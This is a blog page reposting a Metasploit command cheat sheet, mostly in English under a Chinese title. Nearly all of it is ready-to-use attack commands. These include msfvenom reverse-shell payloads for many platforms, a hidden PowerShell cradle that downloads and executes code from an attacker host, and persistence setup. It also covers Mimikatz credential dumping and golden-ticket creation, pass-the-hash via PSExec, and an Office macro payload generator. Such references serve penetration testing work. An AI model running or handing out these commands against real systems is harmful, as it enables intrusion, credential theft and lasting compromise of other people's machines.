首页 > 编程语言 >Metasploit 常用命令手册

Metasploit 常用命令手册

时间:2022-09-28 22:03:31浏览次数:67  
标签:Metasploit shell reverse LHOST 手册 LPORT exploit 常用命令 meterpreter

Installation

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

or docker

sudo docker run --rm -it -p 443:443

 

Sessions

CTRL+Z   -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter

sessions -c cmd -> Execute a command on several sessions
sessions -i 10-20 -c "id"

 

Background handler
ExitOnSession : the handler will not exit if the meterpreter dies.

screen -dRR
sudo msfconsole

use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false

generate -o /tmp/meterpreter.exe -f exe
to_handler

[ctrl+a] + [d]

 

Meterpreter - Basic

Generate a meterpreter

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242

Meterpreter Webdelivery
Set up a Powershell web delivery listening on port 8080.

use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');

Get System

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Persistence Startup

OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -U -p 4242

Portforward

portfwd add -l 7777 -r 172.17.0.2 -p 3006

Upload / Download

upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim

Execute from Memory

execute -H -i -c -m -d calc.exe -f /root/wce.exe -a  -w

Mimikatz

load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>

Pass the Hash - PSExec

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
SMBUser Lambda no The username to authenticate as

Scripting Metasploit

Using a .rc file, write the commands to execute, then run msfconsole -r ./file.rc. Here is a simple example to script the deployment of a handler an create an Office doc with macro.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z


use exploit/multi/fileformat/office_word_macro
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit

Multiple transports

msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10

Then, in AddTransports.ps1

Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30

Best of - Exploits

MS17-10 Eternal Blue - exploit/windows/smb/ms17_010_eternalblue
MS08_67 - exploit/windows/smb/ms08_067_netapi

References

​Multiple transports in a meterpreter payload - ionize​​​​Creating Metasploit Payloads - Peleus​



标签:Metasploit,shell,reverse,LHOST,手册,LPORT,exploit,常用命令,meterpreter
From: https://blog.51cto.com/u_472169/5721049

相关文章

  • Docker常用命令及参数
    1、https://baijiahao.baidu.com/s?id=1692361731135557712&wfr=spider&for=pcDocker是一个被广泛使用的开源容器引擎,是一种操作系统级别的虚拟化技术,它以一种特殊进程......
  • 【测试技术】git常用命令
    一、版本库常用命令初始化某目录为git项目。(默认为master分支)gitinit从远程clone一个项目 gitclone<http://abc.com/scm/abc/def.git>查看当前分支状态git......
  • Anaconda常用命令
    创建虚拟环境condacreate-n虚拟环境名python=python版本查看存在的虚拟环境condainfo-e激活虚拟环境activate环境绝对路径/环境名关闭虚拟环境deactivate......
  • 基于Delta区块链单节点的联邦隐私计算服务搭建手册
    参考文献Delta开发文档DeltaGithub地址使用subkey创建nodekey如果重新设置node-key需要。参考subkey官方文档安装subkeygitclonehttps://github.com/parit......
  • 启动Redis常用命令
    首先启动虚拟机VM以及FINAL命令关闭防火墙systemctlstopfirewalld.service关闭防火墙运行Redis-server/usr/local/bin/redis-server/etc/redis.conf运行Re......
  • 华为服务器imana 200通过ssh连上去以后常用命令-BMC管理网口常用命令
    原文:https://forum.huawei.com/enterprise/zh/thread-898373.html88)通过管理网口登陆SSh,禁止所有Vlan端口ipmcset-dvlan-voff89)通过管理网口登陆SSh,设置Vlan......
  • 【安全测试】nmap使用手册
    端口扫描安全测试步骤:1.登录服务器:10.82.x.x(找运维申请权限)2.输入nmap查看是否可用3.跳转执行下面2.3生成报告中的命令即可一、windows使用在启动栏搜索zenmapGUI......
  • 分析服务器日志常用命令
    1、查看有多少个IP访问:awk '{print $1}' log_file|sort|uniq|wc-l2、查看某一个页面被访问的次数:grep "/index.php" log_file|wc-l3、查看每一个IP访问了多少......
  • docker常用命令
      dockerversion#查看docker版本信息dockerinfo#查看docker信息systemctlstartdocker#启动dockersystemctlstopdocker#关闭docke......
  • git常用命令
    切换远程分支需要先将远程分支与本地分支关联。gitcheckout-b本地分支名origin/远程分支名该命令可以将远程仓库里指定的分支拉取到本地,并在本地创建一个分支与指定......